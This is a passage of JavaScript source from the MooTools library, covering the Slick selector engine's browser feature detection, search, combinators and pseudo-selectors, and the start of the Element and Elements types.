		rootUid = this.getUIDXML(root),
		features = featuresCache[rootUid],
		feature;

	if (features){
		for (feature in features){
			this[feature] = features[feature];
		}
		return;
	}

	features = featuresCache[rootUid] = {};

	features.root = root;
	features.isXMLDocument = this.isXML(document);

	features.brokenStarGEBTN
	= features.starSelectsClosedQSA
	= features.idGetsName
	= features.brokenMixedCaseQSA
	= features.brokenGEBCN
	= features.brokenCheckedQSA
	= features.brokenEmptyAttributeQSA
	= features.isHTMLDocument
	= features.nativeMatchesSelector
	= false;

	var starSelectsClosed, starSelectsComments,
		brokenSecondClassNameGEBCN, cachedGetElementsByClassName,
		brokenFormAttributeGetter;

	var selected, id = 'slick_uniqueid';
	var testNode = document.createElement('div');

	var testRoot = document.body || document.getElementsByTagName('body')[0] || root;
	testRoot.appendChild(testNode);

	// on non-HTML documents innerHTML and getElementsById doesnt work properly
	try {
		testNode.innerHTML = '<a id="'+id+'"></a>';
		features.isHTMLDocument = !!document.getElementById(id);
	} catch(e){};

	if (features.isHTMLDocument){

		testNode.style.display = 'none';

		// IE returns comment nodes for getElementsByTagName('*') for some documents
		testNode.appendChild(document.createComment(''));
		starSelectsComments = (testNode.getElementsByTagName('*').length > 1);

		// IE returns closed nodes (EG:"</foo>") for getElementsByTagName('*') for some documents
		try {
			testNode.innerHTML = 'foo</foo>';
			selected = testNode.getElementsByTagName('*');
			starSelectsClosed = (selected && !!selected.length && selected[0].nodeName.charAt(0) == '/');
		} catch(e){};

		features.brokenStarGEBTN = starSelectsComments || starSelectsClosed;

		// IE returns elements with the name instead of just id for getElementsById for some documents
		try {
			testNode.innerHTML = '<a name="'+ id +'"></a><b id="'+ id +'"></b>';
			features.idGetsName = document.getElementById(id) === testNode.firstChild;
		} catch(e){};

		if (testNode.getElementsByClassName){

			// Safari 3.2 getElementsByClassName caches results
			try {
				testNode.innerHTML = '<a class="f"></a><a class="b"></a>';
				testNode.getElementsByClassName('b').length;
				testNode.firstChild.className = 'b';
				cachedGetElementsByClassName = (testNode.getElementsByClassName('b').length != 2);
			} catch(e){};

			// Opera 9.6 getElementsByClassName doesnt detects the class if its not the first one
			try {
				testNode.innerHTML = '<a class="a"></a><a class="f b a"></a>';
				brokenSecondClassNameGEBCN = (testNode.getElementsByClassName('a').length != 2);
			} catch(e){};

			features.brokenGEBCN = cachedGetElementsByClassName || brokenSecondClassNameGEBCN;
		}

		if (testNode.querySelectorAll){
			// IE 8 returns closed nodes (EG:"</foo>") for querySelectorAll('*') for some documents
			try {
				testNode.innerHTML = 'foo</foo>';
				selected = testNode.querySelectorAll('*');
				features.starSelectsClosedQSA = (selected && !!selected.length && selected[0].nodeName.charAt(0) == '/');
			} catch(e){};

			// Safari 3.2 querySelectorAll doesnt work with mixedcase on quirksmode
			try {
				testNode.innerHTML = '<a class="MiX"></a>';
				features.brokenMixedCaseQSA = !testNode.querySelectorAll('.MiX').length;
			} catch(e){};

			// Webkit and Opera dont return selected options on querySelectorAll
			try {
				testNode.innerHTML = '<select><option selected="selected">a</option></select>';
				features.brokenCheckedQSA = (testNode.querySelectorAll(':checked').length == 0);
			} catch(e){};

			// IE returns incorrect results for attr[*^$]="" selectors on querySelectorAll
			try {
				testNode.innerHTML = '<a class=""></a>';
				features.brokenEmptyAttributeQSA = (testNode.querySelectorAll('[class*=""]').length != 0);
			} catch(e){};

		}

		// IE6-7, if a form has an input of id x, form.getAttribute(x) returns a reference to the input
		try {
			testNode.innerHTML = '<form action="s"><input id="action"/></form>';
			brokenFormAttributeGetter = (testNode.firstChild.getAttribute('action') != 's');
		} catch(e){};

		// native matchesSelector function

		features.nativeMatchesSelector = root.matchesSelector || /*root.msMatchesSelector ||*/ root.mozMatchesSelector || root.webkitMatchesSelector;
		if (features.nativeMatchesSelector) try {
			// if matchesSelector trows errors on incorrect sintaxes we can use it
			features.nativeMatchesSelector.call(root, ':slick');
			features.nativeMatchesSelector = null;
		} catch(e){};

	}

	try {
		root.slick_expando = 1;
		delete root.slick_expando;
		features.getUID = this.getUIDHTML;
	} catch(e) {
		features.getUID = this.getUIDXML;
	}

	testRoot.removeChild(testNode);
	testNode = selected = testRoot = null;

	// getAttribute

	features.getAttribute = (features.isHTMLDocument && brokenFormAttributeGetter) ? function(node, name){
		var method = this.attributeGetters[name];
		if (method) return method.call(node);
		var attributeNode = node.getAttributeNode(name);
		return (attributeNode) ? attributeNode.nodeValue : null;
	} : function(node, name){
		var method = this.attributeGetters[name];
		return (method) ? method.call(node) : node.getAttribute(name);
	};

	// hasAttribute

	features.hasAttribute = (root && this.isNativeCode(root.hasAttribute)) ? function(node, attribute) {
		return node.hasAttribute(attribute);
	} : function(node, attribute) {
		node = node.getAttributeNode(attribute);
		return !!(node && (node.specified || node.nodeValue));
	};

	// contains
	// FIXME: Add specs: local.contains should be different for xml and html documents?
	var nativeRootContains = root && this.isNativeCode(root.contains),
		nativeDocumentContains = document && this.isNativeCode(document.contains);

	features.contains = (nativeRootContains && nativeDocumentContains) ? function(context, node){
		return context.contains(node);
	} : (nativeRootContains && !nativeDocumentContains) ? function(context, node){
		// IE8 does not have .contains on document.
		return context === node || ((context === document) ? document.documentElement : context).contains(node);
	} : (root && root.compareDocumentPosition) ? function(context, node){
		return context === node || !!(context.compareDocumentPosition(node) & 16);
	} : function(context, node){
		if (node) do {
			if (node === context) return true;
		} while ((node = node.parentNode));
		return false;
	};

	// document order sorting
	// credits to Sizzle (http://sizzlejs.com/)

	features.documentSorter = (root.compareDocumentPosition) ? function(a, b){
		if (!a.compareDocumentPosition || !b.compareDocumentPosition) return 0;
		return a.compareDocumentPosition(b) & 4 ? -1 : a === b ? 0 : 1;
	} : ('sourceIndex' in root) ? function(a, b){
		if (!a.sourceIndex || !b.sourceIndex) return 0;
		return a.sourceIndex - b.sourceIndex;
	} : (document.createRange) ? function(a, b){
		if (!a.ownerDocument || !b.ownerDocument) return 0;
		var aRange = a.ownerDocument.createRange(), bRange = b.ownerDocument.createRange();
		aRange.setStart(a, 0);
		aRange.setEnd(a, 0);
		bRange.setStart(b, 0);
		bRange.setEnd(b, 0);
		return aRange.compareBoundaryPoints(Range.START_TO_END, bRange);
	} : null ;

	root = null;

	for (feature in features){
		this[feature] = features[feature];
	}
};

// Main Method

var reSimpleSelector = /^([#.]?)((?:[\w-]+|\*))$/,
	reEmptyAttribute = /\[.+[*$^]=(?:""|'')?\]/,
	qsaFailExpCache = {};

local.search = function(context, expression, append, first){

	var found = this.found = (first) ? null : (append || []);

	if (!context) return found;
	else if (context.navigator) context = context.document; // Convert the node from a window to a document
	else if (!context.nodeType) return found;

	// setup

	var parsed, i,
		uniques = this.uniques = {},
		hasOthers = !!(append && append.length),
		contextIsDocument = (context.nodeType == 9);

	if (this.document !== (contextIsDocument ? context : context.ownerDocument)) this.setDocument(context);

	// avoid duplicating items already in the append array
	if (hasOthers) for (i = found.length; i--;) uniques[this.getUID(found[i])] = true;

	// expression checks

	if (typeof expression == 'string'){ // expression is a string

		/*<simple-selectors-override>*/
		var simpleSelector = expression.match(reSimpleSelector);
		simpleSelectors: if (simpleSelector) {

			var symbol = simpleSelector[1],
				name = simpleSelector[2],
				node, nodes;

			if (!symbol){

				if (name == '*' && this.brokenStarGEBTN) break simpleSelectors;
				nodes = context.getElementsByTagName(name);
				if (first) return nodes[0] || null;
				for (i = 0; node = nodes[i++];){
					if (!(hasOthers && uniques[this.getUID(node)])) found.push(node);
				}

			} else if (symbol == '#'){

				if (!this.isHTMLDocument || !contextIsDocument) break simpleSelectors;
				node = context.getElementById(name);
				if (!node) return found;
				if (this.idGetsName && node.getAttributeNode('id').nodeValue != name) break simpleSelectors;
				if (first) return node || null;
				if (!(hasOthers && uniques[this.getUID(node)])) found.push(node);

			} else if (symbol == '.'){

				if (!this.isHTMLDocument || ((!context.getElementsByClassName || this.brokenGEBCN) && context.querySelectorAll)) break simpleSelectors;
				if (context.getElementsByClassName && !this.brokenGEBCN){
					nodes = context.getElementsByClassName(name);
					if (first) return nodes[0] || null;
					for (i = 0; node = nodes[i++];){
						if (!(hasOthers && uniques[this.getUID(node)])) found.push(node);
					}
				} else {
					var matchClass = new RegExp('(^|\\s)'+ Slick.escapeRegExp(name) +'(\\s|$)');
					nodes = context.getElementsByTagName('*');
					for (i = 0; node = nodes[i++];){
						className = node.className;
						if (!(className && matchClass.test(className))) continue;
						if (first) return node;
						if (!(hasOthers && uniques[this.getUID(node)])) found.push(node);
					}
				}

			}

			if (hasOthers) this.sort(found);
			return (first) ? null : found;

		}
		/*</simple-selectors-override>*/

		/*<query-selector-override>*/
		querySelector: if (context.querySelectorAll) {

			if (!this.isHTMLDocument
				|| qsaFailExpCache[expression]
				//TODO: only skip when expression is actually mixed case
				|| this.brokenMixedCaseQSA
				|| (this.brokenCheckedQSA && expression.indexOf(':checked') > -1)
				|| (this.brokenEmptyAttributeQSA && reEmptyAttribute.test(expression))
				|| (!contextIsDocument //Abort when !contextIsDocument and...
					//  there are multiple expressions in the selector
					//  since we currently only fix non-document rooted QSA for single expression selectors
					&& expression.indexOf(',') > -1
				)
				|| Slick.disableQSA
			) break querySelector;

			var _expression = expression, _context = context;
			if (!contextIsDocument){
				// non-document rooted QSA
				// credits to Andrew Dupont
				var currentId = _context.getAttribute('id'), slickid = 'slickid__';
				_context.setAttribute('id', slickid);
				_expression = '#' + slickid + ' ' + _expression;
				context = _context.parentNode;
			}

			try {
				if (first) return context.querySelector(_expression) || null;
				else nodes = context.querySelectorAll(_expression);
			} catch(e) {
				qsaFailExpCache[expression] = 1;
				break querySelector;
			} finally {
				if (!contextIsDocument){
					if (currentId) _context.setAttribute('id', currentId);
					else _context.removeAttribute('id');
					context = _context;
				}
			}

			if (this.starSelectsClosedQSA) for (i = 0; node = nodes[i++];){
				if (node.nodeName > '@' && !(hasOthers && uniques[this.getUID(node)])) found.push(node);
			} else for (i = 0; node = nodes[i++];){
				if (!(hasOthers && uniques[this.getUID(node)])) found.push(node);
			}

			if (hasOthers) this.sort(found);
			return found;

		}
		/*</query-selector-override>*/

		parsed = this.Slick.parse(expression);
		if (!parsed.length) return found;
	} else if (expression == null){ // there is no expression
		return found;
	} else if (expression.Slick){ // expression is a parsed Slick object
		parsed = expression;
	} else if (this.contains(context.documentElement || context, expression)){ // expression is a node
		(found) ? found.push(expression) : found = expression;
		return found;
	} else { // other junk
		return found;
	}

	/*<pseudo-selectors>*//*<nth-pseudo-selectors>*/

	// cache elements for the nth selectors

	this.posNTH = {};
	this.posNTHLast = {};
	this.posNTHType = {};
	this.posNTHTypeLast = {};

	/*</nth-pseudo-selectors>*//*</pseudo-selectors>*/

	// if append is null and there is only a single selector with one expression use pushArray, else use pushUID
	this.push = (!hasOthers && (first || (parsed.length == 1 && parsed.expressions[0].length == 1))) ? this.pushArray : this.pushUID;

	if (found == null) found = [];

	// default engine

	var j, m, n;
	var combinator, tag, id, classList, classes, attributes, pseudos;
	var currentItems, currentExpression, currentBit, lastBit, expressions = parsed.expressions;

	search: for (i = 0; (currentExpression = expressions[i]); i++) for (j = 0; (currentBit = currentExpression[j]); j++){

		combinator = 'combinator:' + currentBit.combinator;
		if (!this[combinator]) continue search;

		tag        = (this.isXMLDocument) ? currentBit.tag : currentBit.tag.toUpperCase();
		id         = currentBit.id;
		classList  = currentBit.classList;
		classes    = currentBit.classes;
		attributes = currentBit.attributes;
		pseudos    = currentBit.pseudos;
		lastBit    = (j === (currentExpression.length - 1));

		this.bitUniques = {};

		if (lastBit){
			this.uniques = uniques;
			this.found = found;
		} else {
			this.uniques = {};
			this.found = [];
		}

		if (j === 0){
			this[combinator](context, tag, id, classes, attributes, pseudos, classList);
			if (first && lastBit && found.length) break search;
		} else {
			if (first && lastBit) for (m = 0, n = currentItems.length; m < n; m++){
				this[combinator](currentItems[m], tag, id, classes, attributes, pseudos, classList);
				if (found.length) break search;
			} else for (m = 0, n = currentItems.length; m < n; m++) this[combinator](currentItems[m], tag, id, classes, attributes, pseudos, classList);
		}

		currentItems = this.found;
	}

	// should sort if there are nodes in append and if you pass multiple expressions.
	if (hasOthers || (parsed.expressions.length > 1)) this.sort(found);

	return (first) ? (found[0] || null) : found;
};

// Utils

local.uidx = 1;
local.uidk = 'slick-uniqueid';

local.getUIDXML = function(node){
	var uid = node.getAttribute(this.uidk);
	if (!uid){
		uid = this.uidx++;
		node.setAttribute(this.uidk, uid);
	}
	return uid;
};

local.getUIDHTML = function(node){
	return node.uniqueNumber || (node.uniqueNumber = this.uidx++);
};

// sort based on the setDocument documentSorter method.

local.sort = function(results){
	if (!this.documentSorter) return results;
	results.sort(this.documentSorter);
	return results;
};

/*<pseudo-selectors>*//*<nth-pseudo-selectors>*/

local.cacheNTH = {};

local.matchNTH = /^([+-]?\d*)?([a-z]+)?([+-]\d+)?$/;

local.parseNTHArgument = function(argument){
	var parsed = argument.match(this.matchNTH);
	if (!parsed) return false;
	var special = parsed[2] || false;
	var a = parsed[1] || 1;
	if (a == '-') a = -1;
	var b = +parsed[3] || 0;
	parsed =
		(special == 'n')	? {a: a, b: b} :
		(special == 'odd')	? {a: 2, b: 1} :
		(special == 'even')	? {a: 2, b: 0} : {a: 0, b: a};

	return (this.cacheNTH[argument] = parsed);
};

local.createNTHPseudo = function(child, sibling, positions, ofType){
	return function(node, argument){
		var uid = this.getUID(node);
		if (!this[positions][uid]){
			var parent = node.parentNode;
			if (!parent) return false;
			var el = parent[child], count = 1;
			if (ofType){
				var nodeName = node.nodeName;
				do {
					if (el.nodeName != nodeName) continue;
					this[positions][this.getUID(el)] = count++;
				} while ((el = el[sibling]));
			} else {
				do {
					if (el.nodeType != 1) continue;
					this[positions][this.getUID(el)] = count++;
				} while ((el = el[sibling]));
			}
		}
		argument = argument || 'n';
		var parsed = this.cacheNTH[argument] || this.parseNTHArgument(argument);
		if (!parsed) return false;
		var a = parsed.a, b = parsed.b, pos = this[positions][uid];
		if (a == 0) return b == pos;
		if (a > 0){
			if (pos < b) return false;
		} else {
			if (b < pos) return false;
		}
		return ((pos - b) % a) == 0;
	};
};

/*</nth-pseudo-selectors>*//*</pseudo-selectors>*/

local.pushArray = function(node, tag, id, classes, attributes, pseudos){
	if (this.matchSelector(node, tag, id, classes, attributes, pseudos)) this.found.push(node);
};

local.pushUID = function(node, tag, id, classes, attributes, pseudos){
	var uid = this.getUID(node);
	if (!this.uniques[uid] && this.matchSelector(node, tag, id, classes, attributes, pseudos)){
		this.uniques[uid] = true;
		this.found.push(node);
	}
};

local.matchNode = function(node, selector){
	if (this.isHTMLDocument && this.nativeMatchesSelector){
		try {
			return this.nativeMatchesSelector.call(node, selector.replace(/\[([^=]+)=\s*([^'"\]]+?)\s*\]/g, '[$1="$2"]'));
		} catch(matchError) {}
	}

	var parsed = this.Slick.parse(selector);
	if (!parsed) return true;

	// simple (single) selectors
	var expressions = parsed.expressions, simpleExpCounter = 0, i;
	for (i = 0; (currentExpression = expressions[i]); i++){
		if (currentExpression.length == 1){
			var exp = currentExpression[0];
			if (this.matchSelector(node, (this.isXMLDocument) ? exp.tag : exp.tag.toUpperCase(), exp.id, exp.classes, exp.attributes, exp.pseudos)) return true;
			simpleExpCounter++;
		}
	}

	if (simpleExpCounter == parsed.length) return false;

	var nodes = this.search(this.document, parsed), item;
	for (i = 0; item = nodes[i++];){
		if (item === node) return true;
	}
	return false;
};

local.matchPseudo = function(node, name, argument){
	var pseudoName = 'pseudo:' + name;
	if (this[pseudoName]) return this[pseudoName](node, argument);
	var attribute = this.getAttribute(node, name);
	return (argument) ? argument == attribute : !!attribute;
};

local.matchSelector = function(node, tag, id, classes, attributes, pseudos){
	if (tag){
		var nodeName = (this.isXMLDocument) ? node.nodeName : node.nodeName.toUpperCase();
		if (tag == '*'){
			if (nodeName < '@') return false; // Fix for comment nodes and closed nodes
		} else {
			if (nodeName != tag) return false;
		}
	}

	if (id && node.getAttribute('id') != id) return false;

	var i, part, cls;
	if (classes) for (i = classes.length; i--;){
		cls = this.getAttribute(node, 'class');
		if (!(cls && classes[i].regexp.test(cls))) return false;
	}
	if (attributes) for (i = attributes.length; i--;){
		part = attributes[i];
		if (part.operator ? !part.test(this.getAttribute(node, part.key)) : !this.hasAttribute(node, part.key)) return false;
	}
	if (pseudos) for (i = pseudos.length; i--;){
		part = pseudos[i];
		if (!this.matchPseudo(node, part.key, part.value)) return false;
	}
	return true;
};

var combinators = {

	' ': function(node, tag, id, classes, attributes, pseudos, classList){ // all child nodes, any level

		var i, item, children;

		if (this.isHTMLDocument){
			getById: if (id){
				item = this.document.getElementById(id);
				if ((!item && node.all) || (this.idGetsName && item && item.getAttributeNode('id').nodeValue != id)){
					// all[id] returns all the elements with that name or id inside node
					// if theres just one it will return the element, else it will be a collection
					children = node.all[id];
					if (!children) return;
					if (!children[0]) children = [children];
					for (i = 0; item = children[i++];){
						var idNode = item.getAttributeNode('id');
						if (idNode && idNode.nodeValue == id){
							this.push(item, tag, null, classes, attributes, pseudos);
							break;
						}
					}
					return;
				}
				if (!item){
					// if the context is in the dom we return, else we will try GEBTN, breaking the getById label
					if (this.contains(this.root, node)) return;
					else break getById;
				} else if (this.document !== node && !this.contains(node, item)) return;
				this.push(item, tag, null, classes, attributes, pseudos);
				return;
			}
			getByClass: if (classes && node.getElementsByClassName && !this.brokenGEBCN){
				children = node.getElementsByClassName(classList.join(' '));
				if (!(children && children.length)) break getByClass;
				for (i = 0; item = children[i++];) this.push(item, tag, id, null, attributes, pseudos);
				return;
			}
		}
		getByTag: {
			children = node.getElementsByTagName(tag);
			if (!(children && children.length)) break getByTag;
			if (!this.brokenStarGEBTN) tag = null;
			for (i = 0; item = children[i++];) this.push(item, tag, id, classes, attributes, pseudos);
		}
	},

	'>': function(node, tag, id, classes, attributes, pseudos){ // direct children
		if ((node = node.firstChild)) do {
			if (node.nodeType == 1) this.push(node, tag, id, classes, attributes, pseudos);
		} while ((node = node.nextSibling));
	},

	'+': function(node, tag, id, classes, attributes, pseudos){ // next sibling
		while ((node = node.nextSibling)) if (node.nodeType == 1){
			this.push(node, tag, id, classes, attributes, pseudos);
			break;
		}
	},

	'^': function(node, tag, id, classes, attributes, pseudos){ // first child
		node = node.firstChild;
		if (node){
			if (node.nodeType == 1) this.push(node, tag, id, classes, attributes, pseudos);
			else this['combinator:+'](node, tag, id, classes, attributes, pseudos);
		}
	},

	'~': function(node, tag, id, classes, attributes, pseudos){ // next siblings
		while ((node = node.nextSibling)){
			if (node.nodeType != 1) continue;
			var uid = this.getUID(node);
			if (this.bitUniques[uid]) break;
			this.bitUniques[uid] = true;
			this.push(node, tag, id, classes, attributes, pseudos);
		}
	},

	'++': function(node, tag, id, classes, attributes, pseudos){ // next sibling and previous sibling
		this['combinator:+'](node, tag, id, classes, attributes, pseudos);
		this['combinator:!+'](node, tag, id, classes, attributes, pseudos);
	},

	'~~': function(node, tag, id, classes, attributes, pseudos){ // next siblings and previous siblings
		this['combinator:~'](node, tag, id, classes, attributes, pseudos);
		this['combinator:!~'](node, tag, id, classes, attributes, pseudos);
	},

	'!': function(node, tag, id, classes, attributes, pseudos){ // all parent nodes up to document
		while ((node = node.parentNode)) if (node !== this.document) this.push(node, tag, id, classes, attributes, pseudos);
	},

	'!>': function(node, tag, id, classes, attributes, pseudos){ // direct parent (one level)
		node = node.parentNode;
		if (node !== this.document) this.push(node, tag, id, classes, attributes, pseudos);
	},

	'!+': function(node, tag, id, classes, attributes, pseudos){ // previous sibling
		while ((node = node.previousSibling)) if (node.nodeType == 1){
			this.push(node, tag, id, classes, attributes, pseudos);
			break;
		}
	},

	'!^': function(node, tag, id, classes, attributes, pseudos){ // last child
		node = node.lastChild;
		if (node){
			if (node.nodeType == 1) this.push(node, tag, id, classes, attributes, pseudos);
			else this['combinator:!+'](node, tag, id, classes, attributes, pseudos);
		}
	},

	'!~': function(node, tag, id, classes, attributes, pseudos){ // previous siblings
		while ((node = node.previousSibling)){
			if (node.nodeType != 1) continue;
			var uid = this.getUID(node);
			if (this.bitUniques[uid]) break;
			this.bitUniques[uid] = true;
			this.push(node, tag, id, classes, attributes, pseudos);
		}
	}

};

for (var c in combinators) local['combinator:' + c] = combinators[c];

var pseudos = {

	/*<pseudo-selectors>*/

	'empty': function(node){
		var child = node.firstChild;
		return !(child && child.nodeType == 1) && !(node.innerText || node.textContent || '').length;
	},

	'not': function(node, expression){
		return !this.matchNode(node, expression);
	},

	'contains': function(node, text){
		return (node.innerText || node.textContent || '').indexOf(text) > -1;
	},

	'first-child': function(node){
		while ((node = node.previousSibling)) if (node.nodeType == 1) return false;
		return true;
	},

	'last-child': function(node){
		while ((node = node.nextSibling)) if (node.nodeType == 1) return false;
		return true;
	},

	'only-child': function(node){
		var prev = node;
		while ((prev = prev.previousSibling)) if (prev.nodeType == 1) return false;
		var next = node;
		while ((next = next.nextSibling)) if (next.nodeType == 1) return false;
		return true;
	},

	/*<nth-pseudo-selectors>*/

	'nth-child': local.createNTHPseudo('firstChild', 'nextSibling', 'posNTH'),

	'nth-last-child': local.createNTHPseudo('lastChild', 'previousSibling', 'posNTHLast'),

	'nth-of-type': local.createNTHPseudo('firstChild', 'nextSibling', 'posNTHType', true),

	'nth-last-of-type': local.createNTHPseudo('lastChild', 'previousSibling', 'posNTHTypeLast', true),

	'index': function(node, index){
		return this['pseudo:nth-child'](node, '' + (index + 1));
	},

	'even': function(node){
		return this['pseudo:nth-child'](node, '2n');
	},

	'odd': function(node){
		return this['pseudo:nth-child'](node, '2n+1');
	},

	/*</nth-pseudo-selectors>*/

	/*<of-type-pseudo-selectors>*/

	'first-of-type': function(node){
		var nodeName = node.nodeName;
		while ((node = node.previousSibling)) if (node.nodeName == nodeName) return false;
		return true;
	},

	'last-of-type': function(node){
		var nodeName = node.nodeName;
		while ((node = node.nextSibling)) if (node.nodeName == nodeName) return false;
		return true;
	},

	'only-of-type': function(node){
		var prev = node, nodeName = node.nodeName;
		while ((prev = prev.previousSibling)) if (prev.nodeName == nodeName) return false;
		var next = node;
		while ((next = next.nextSibling)) if (next.nodeName == nodeName) return false;
		return true;
	},

	/*</of-type-pseudo-selectors>*/

	// custom pseudos

	'enabled': function(node){
		return !node.disabled;
	},

	'disabled': function(node){
		return node.disabled;
	},

	'checked': function(node){
		return node.checked || node.selected;
	},

	'focus': function(node){
		return this.isHTMLDocument && this.document.activeElement === node && (node.href || node.type || this.hasAttribute(node, 'tabindex'));
	},

	'root': function(node){
		return (node === this.root);
	},

	'selected': function(node){
		return node.selected;
	}

	/*</pseudo-selectors>*/
};

for (var p in pseudos) local['pseudo:' + p] = pseudos[p];

// attributes methods

var attributeGetters = local.attributeGetters = {

	'for': function(){
		return ('htmlFor' in this) ? this.htmlFor : this.getAttribute('for');
	},

	'href': function(){
		return ('href' in this) ? this.getAttribute('href', 2) : this.getAttribute('href');
	},

	'style': function(){
		return (this.style) ? this.style.cssText : this.getAttribute('style');
	},

	'tabindex': function(){
		var attributeNode = this.getAttributeNode('tabindex');
		return (attributeNode && attributeNode.specified) ? attributeNode.nodeValue : null;
	},

	'type': function(){
		return this.getAttribute('type');
	},

	'maxlength': function(){
		var attributeNode = this.getAttributeNode('maxLength');
		return (attributeNode && attributeNode.specified) ? attributeNode.nodeValue : null;
	}

};

attributeGetters.MAXLENGTH = attributeGetters.maxLength = attributeGetters.maxlength;

// Slick

var Slick = local.Slick = (this.Slick || {});

Slick.version = '1.1.7';

// Slick finder

Slick.search = function(context, expression, append){
	return local.search(context, expression, append);
};

Slick.find = function(context, expression){
	return local.search(context, expression, null, true);
};

// Slick containment checker

Slick.contains = function(container, node){
	local.setDocument(container);
	return local.contains(container, node);
};

// Slick attribute getter

Slick.getAttribute = function(node, name){
	local.setDocument(node);
	return local.getAttribute(node, name);
};

Slick.hasAttribute = function(node, name){
	local.setDocument(node);
	return local.hasAttribute(node, name);
};

// Slick matcher

Slick.match = function(node, selector){
	if (!(node && selector)) return false;
	if (!selector || selector === node) return true;
	local.setDocument(node);
	return local.matchNode(node, selector);
};

// Slick attribute accessor

Slick.defineAttributeGetter = function(name, fn){
	local.attributeGetters[name] = fn;
	return this;
};

Slick.lookupAttributeGetter = function(name){
	return local.attributeGetters[name];
};

// Slick pseudo accessor

Slick.definePseudo = function(name, fn){
	local['pseudo:' + name] = function(node, argument){
		return fn.call(node, argument);
	};
	return this;
};

Slick.lookupPseudo = function(name){
	var pseudo = local['pseudo:' + name];
	if (pseudo) return function(argument){
		return pseudo.call(this, argument);
	};
	return null;
};

// Slick overrides accessor

Slick.override = function(regexp, fn){
	local.override(regexp, fn);
	return this;
};

Slick.isXML = local.isXML;

Slick.uidOf = function(node){
	return local.getUIDHTML(node);
};

if (!this.Slick) this.Slick = Slick;

}).apply(/*<CommonJS>*/(typeof exports != 'undefined') ? exports : /*</CommonJS>*/this);


/*
---

name: Element

description: One of the most important items in MooTools. Contains the dollar function, the dollars function, and an handful of cross-browser, time-saver methods to let you easily work with HTML Elements.

license: MIT-style license.

requires: [Window, Document, Array, String, Function, Object, Number, Slick.Parser, Slick.Finder]

provides: [Element, Elements, $, $$, Iframe, Selectors]

...
*/

var Element = function(tag, props){
	var konstructor = Element.Constructors[tag];
	if (konstructor) return konstructor(props);
	if (typeof tag != 'string') return document.id(tag).set(props);

	if (!props) props = {};

	if (!(/^[\w-]+$/).test(tag)){
		var parsed = Slick.parse(tag).expressions[0][0];
		tag = (parsed.tag == '*') ? 'div' : parsed.tag;
		if (parsed.id && props.id == null) props.id = parsed.id;

		var attributes = parsed.attributes;
		if (attributes) for (var attr, i = 0, l = attributes.length; i < l; i++){
			attr = attributes[i];
			if (props[attr.key] != null) continue;

			if (attr.value != null && attr.operator == '=') props[attr.key] = attr.value;
			else if (!attr.value && !attr.operator) props[attr.key] = true;
		}

		if (parsed.classList && props['class'] == null) props['class'] = parsed.classList.join(' ');
	}

	return document.newElement(tag, props);
};


if (Browser.Element){
	Element.prototype = Browser.Element.prototype;
	// IE8 and IE9 require the wrapping.
	Element.prototype._fireEvent = (function(fireEvent){
		return function(type, event){
			return fireEvent.call(this, type, event);
		};
	})(Element.prototype.fireEvent);
}

new Type('Element', Element).mirror(function(name){
	if (Array.prototype[name]) return;

	var obj = {};
	obj[name] = function(){
		var results = [], args = arguments, elements = true;
		for (var i = 0, l = this.length; i < l; i++){
			var element = this[i], result = results[i] = element[name].apply(element, args);
			elements = (elements && typeOf(result) == 'element');
		}
		return (elements) ? new Elements(results) : results;
	};

	Elements.implement(obj);
});

if (!Browser.Element){
	Element.parent = Object;

	Element.Prototype = {
		'$constructor': Element,
		'$family': Function.from('element').hide()
	};

	Element.mirror(function(name, method){
		Element.Prototype[name] = method;
	});
}

Element.Constructors = {};



var IFrame = new Type('IFrame', function(){
	var params = Array.link(arguments, {
		properties: Type.isObject,
		iframe: function(obj){
			return (obj != null);
		}
	});

	var props = params.properties || {}, iframe;
	if (params.iframe) iframe = document.id(params.iframe);
	var onload = props.onload || function(){};
	delete props.onload;
	props.id = props.name = [props.id, props.name, iframe ? (iframe.id || iframe.name) : 'IFrame_' + String.uniqueID()].pick();
	iframe = new Element(iframe || 'iframe', props);

	var onLoad = function(){
		onload.call(iframe.contentWindow);
	};

	if (window.frames[props.id]) onLoad();
	else iframe.addListener('load', onLoad);
	return iframe;
});

var Elements = this.Elements = function(nodes){
	if (nodes && nodes.length){
		var uniques = {}, node;
		for (var i = 0; node = nodes[i++];){
			var uid = Slick.uidOf(node);
			if (!uniques[uid]){
				uniques[uid] = true;
				this.push(node);
			}
		}
	}
};

Elements.prototype = {length: 0};
Elements.parent = Array;

new Type('Elements', Elements).implement({

	filter: function(filter, bind){
		if (!filter) return this;
		return new Elements(Array.filter(this, (typeOf(filter) == 'string') ? function(item){
			return item.match(filter);
		} : filter, bind));
	}.protect(),

	push: function(){
		var length = this.length;
		for (var i = 0, l = arguments.length; i < l; i++){
			var item = document.id(arguments[i]);
			if (item) this[length++] = item;
		}
		return (this.length = length);
	}.protect(),

	unshift: function(){
		var items = [];
		for (var i = 0, l = arguments.length; i < l; i++){
			var item = document.id(arguments[i]);
			if (item) items.push(item);
		}
		return Array.prototype.unshift.apply(this, items);
	}.protect(),

	concat: function(){
		var newElements = new Elements(this);
		for (var i = 0, l = arguments.length; i < l; i++){
			var item = arguments[i];
			if (Type.isEnumerable(item)) newElements.append(item);
			else newElements.push(item);
		}
		return newElements;
	}.protect(),

	append: function(collection){
		for (var i = 0, l = collection.length; i < l; i++) this.push(collection[i]);
		return this;
	}.protect(),

	empty: function(){
		while (this.length) delete this[--this.length];
		return this;
	}.protect()

});



(function(){

// FF, IE
var splice = Array.prototype.splice, object = {'0': 0, '1': 1, length: 2};

splice.call(object, 1, 1);
if (object[1] == 1) Elements.implement('splice', function(){
	var length = this.length;
	var result = splice.apply(this, arguments);
	while (length >= this.length) delete this[length--];
	return result;
}.protect());

Array.forEachMethod(function(method, name){
	Elements.implement(name, method);
});

Array.mirror(Elements);

/*<ltIE8>*/
var createElementAcceptsHTML;
try {
    createElementAcceptsHTML = (document.createElement('<input name=x>').name == 'x');
} catch (e){}

var escapeQuotes = function(html){
	return ('' + html).replace(/&/g, '&amp;').replace(/"/g, '&quot;');
};
/*</ltIE8>*/

Document.implement({

	newElement: function(tag, props){
		if (props && props.checked != null) props.defaultChecked = props.checked;
		/*<ltIE8>*/// Fix for readonly name and type properties in IE < 8
		if (createElementAcceptsHTML && props){
			tag = '<' + tag;
			if (props.name) tag += ' name="' + escapeQuotes(props.name) + '"';
			if (props.type) tag += ' type="' + escapeQuotes(props.type) + '"';
			tag += '>';
			delete props.name;
			delete props.type;
		}
		/*</ltIE8>*/
		return this.id(this.createElement(tag)).set(props);
	}

});

})();

(function(){

Slick.uidOf(window);
Slick.uidOf(document);

Document.implement({

	newTextNode: function(text){
